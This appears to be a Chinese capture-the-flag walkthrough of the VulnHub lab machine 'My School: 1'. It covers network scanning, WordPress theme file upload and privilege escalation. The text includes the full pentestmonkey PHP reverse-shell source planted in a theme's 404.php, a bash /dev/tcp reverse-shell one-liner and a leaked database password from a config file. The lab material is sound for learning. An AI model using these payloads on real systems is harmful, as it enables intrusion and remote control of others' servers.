尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
My School: 1靶场攻略
My School: 1 ~ VulnHub下载靶机渗透练习20-My School_mysql (unauthorized)-CSDN博客攻略1.前置知识网络地址主机位全 0 → 192.168.100.0代表整个网段 广播地址主机位全 1 → 192.168.100.255发给网段所有设备 192.168.100.1 路由器 可用主机 IP 范围 192.168.100.1 ~ 192.168.100.254 可用数量256 - 2 254 台设备 IP192 . 168 . 100 . 140 二进制分段 110000008 位 . 101010008 位 . 011001008 位 . 100011008 位 连在一起一长串就是 32 个 0 和 1这就是完整 IP 二进制。 2 的 6 次方2^6 2×2×2×2×2×2 64 2 的 7 次方2^7 2×2×2×2×2×2×2 1282.主机发现arp-scan -I eth0 192.168.100.0/24 nmap -sn 192.168.100.0/24 netdiscover -i eth0 -r 192.168.100.0/24 masscan 192.168.100.140 -p 803.端口扫描nmap -sS -Pn --min-rate10000 -sV -O 192.168.100.140 -p-22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0)80/tcp open http Apache httpd 2.4.38 ((Debian))3306/tcp open mysql MySQL (unauthorized)8080/tcp open http Apache httpd 2.4.38 ((Debian))33060/tcp open mysqlx MySQL X protocol listener22 端口分析一般只能暴力破解暂时没有合适的字典80 端口分析访问 80 端口扫描一下80端口目录dirsearch -u http://192.168.100.140响应200的有好几个挨个打开一下http://192.168.100.140/admin/login.php可以看到是 CMS Made Simplekali中searchsploit CMS Made Simple搜索kali本地漏洞库发现有好多可利用的回头再去看看页面能否得到其他信息可知CMS的 版本是2.2.14,再精确搜索一下searchsploit CMS Made Simple 2.2.14都有Authenticated,说明都需要授权才可以使用8080端口分析打开发现这是wordpress的安装界面kali中开启mysql在 kali 本地开启 mysql 服务然后先登陆一下看看账户和密码一般是 root/rootservice mysql startmysql -u root -p默认情况下数据库服务监听的是本地 IP想要其他 IP 访问需要修改配置文件改为0.0.0.0修改配置文件vim /etc/mysql/mariadb.conf.d/50-server.cnf改完之后重启一下mysqlservice mysql start 启动 systemctl restart mysql重启 systemctl status mysql检查状态 vim /etc/mysql/mariadb.conf.d/50-server.cnf修改配置接下来登录mysql创建wordpress 数据库并添加数据create database wordpress; create user wpuser192.168.100.140 identified by wppass;账号密码 grant all on wordpress.* to wpuser192.168.100.140 with grant option;添加增删改查 flush privileges;刷新 show databases;靶机上连接数据库主机kali成功登录对应靶机wordpress后台进入该区域放入我们的木马?php // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php // Copyright (C) 2007 pentestmonkeypentestmonkey.net set_time_limit (0); $VERSION 1.0; $ip 192.168.100.128; $port 6666; $chunk_size 1400; $write_a null; $error_a null; $shell uname -a; w; id; sh -i; $daemon 0; $debug 0; if (function_exists(pcntl_fork)) { $pid pcntl_fork(); if ($pid -1) { printit(ERROR: Cant fork); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() -1) { printit(Error: Cant setsid()); exit(1); } $daemon 1; } else { printit(WARNING: Failed to daemonise. This is quite common and not fatal.); } chdir(/); umask(0); // Open reverse connection $sock fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit($errstr ($errno)); exit(1); } $descriptorspec array( 0 array(pipe, r), // stdin is a pipe that the child will read from 1 array(pipe, w), // stdout is a pipe that the child will write to 2 array(pipe, w) // stderr is a pipe that the child will write to ); $process proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(ERROR: Cant spawn shell); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(Successfully opened reverse shell to $ip:$port); while (1) { if (feof($sock)) { printit(ERROR: Shell connection terminated); break; } if (feof($pipes[1])) { printit(ERROR: Shell process terminated); break; } $read_a array($sock, $pipes[1], $pipes[2]); $num_changed_sockets stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(SOCK READ); $input fread($sock, $chunk_size); if ($debug) printit(SOCK: $input); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(STDOUT READ); $input fread($pipes[1], $chunk_size); if ($debug) printit(STDOUT: $input); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(STDERR READ); $input fread($pipes[2], $chunk_size); if ($debug) printit(STDERR: $input); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print $string\n; } } ?404.php 是网站自带页面访问不存在的路径时服务器会自动执行这个文件那么我们访问一个网站不存在的目录http://192.168.100.140:8080/aaaaaaaaa这个老是反弹不过来 换一个方法吧 使用一句话木马2020 twentytwentyhttp://192.168.100.140:8080/wp-content/themes/twentytwenty/404.php成功拿到shell 反弹shell到kalibash -c /bin/sh -i /dev/tcp/192.168.100.128/9001 01python3 -c import pty; pty.spawn(/bin/bash)不用想又是一个虚假的flag切换用户查看网站目录/var/www/html发现 cms 中的一个密码?php # CMS Made Simple Configuration File # Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference # $config[dbms] mysqli; $config[db_hostname] localhost; $config[db_username] root; $config[db_password] SW)#$of4-9056d; $config[db_name] cmsms_db; $config[db_prefix] cms_; $config[timezone] America/New_York;权限提升这个命令支持cat和 ls有 sudo 权限说明可以任意文件读取执行命令cat /root/proof.txt
RELATED

相关推荐

Kaggle 肥胖预测赛:4模型融合实战,准确率提升至 0.916 的完整流程

Kaggle 肥胖预测赛:4模型融合实战,准确率提升至 0.916 的完整流程

Kaggle肥胖预测赛:四模型融合策略与实战优化指南 1. 竞赛背景与数据理解 Kaggle作为全球领先的数据科学竞赛平台,始终处于机器学习技术应用的前沿。在最近的"肥胖风险多类别预测"练习赛中,参赛者需要基于人口统计学特征、生活习惯…

📅 2026/9/9 17:57:13
风云变幻无常

风云变幻无常

风云变幻无常风是自然手,电为神灵眼。雷威敬畏心,雨声苦乐叹。曾见万古影,今观千年展。莫忧生死感,怎愁始终盼?路经沧田变,道修德信岸。局局有异同,事事无肝胆?何情不知谓&#xff0…

📅 2026/9/8 6:05:43
告别手工对账:公务员职级晋升中的任职年限、套转规则与基层经历如何精准计算?

告别手工对账:公务员职级晋升中的任职年限、套转规则与基层经历如何精准计算?

2019 年 6 月《公务员职务与职级并行规定》施行以来,公务员的晋升通道从"唯职务"变成"职务职级"双轨,但任职年限的计算反而比以前更复杂了。对非领导职务套转的"超出部分累计"、乡镇基层经历的认定口径、企事业调任的折算…

📅 2026/7/19 21:48:43
MORE NEWS

更多资讯

📰

风光场景生成技术:ISODATA算法在新能源电力系统中的应用

1. 风光场景生成的技术挑战与ISODATA的引入在新能源电力系统规划与运行中,风光场景生成是构建可靠分析模型的基础环节。传统方法通常采用历史数据直接抽样或简单统计建模,但这类方法存在两个显著缺陷:一是无法有效表征风光出力的时空耦合特性…

📰

零代码搭建教培直播课堂:可原生支持直播授课的小程序系统汇总

随着线上授课、混合式教学成为教培行业常态化运营模式,直播课堂不再是大型教育机构的专属能力,更是中小培训机构、职业教学、知识付费博主必备的数字化工具。市面上多数教培小程序仅支持课程展示、图文播放,原生直播功能缺失,需要…

📰

STAR-CCM+潜艇子午线压力系数仿真:从网格策略到结果提取全流程

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

顶刊配色方案实战拆解:深蓝暖橙三层结构,科研图表高级感升级

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

YOLOv5车型识别实战:从模型训练到系统部署全流程

简介:这是基于YOLOv5构建的车型识别系统完整工程包,包含可运行的源码和基于PyQt5开发的图形操作界面。系统支持轿车、SUV、商务车三种车型以及奥迪、宝马、大众、奔驰、丰田五种品牌识别,并集成摄像头实时识别、历史记录保存与识别目标数量统…

📰

CVAT 计算机视觉标注工具:从零到第一个标注数据集只要 10 分钟

CVAT 计算机视觉标注工具:从零到第一个标注数据集只要 10 分钟 【免费下载链接】cvat Computer Vision Annotation Tool (CVAT) is a leading platform for building high-quality visual datasets for vision AI. It offers open-source, cloud, and enterprise pr…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬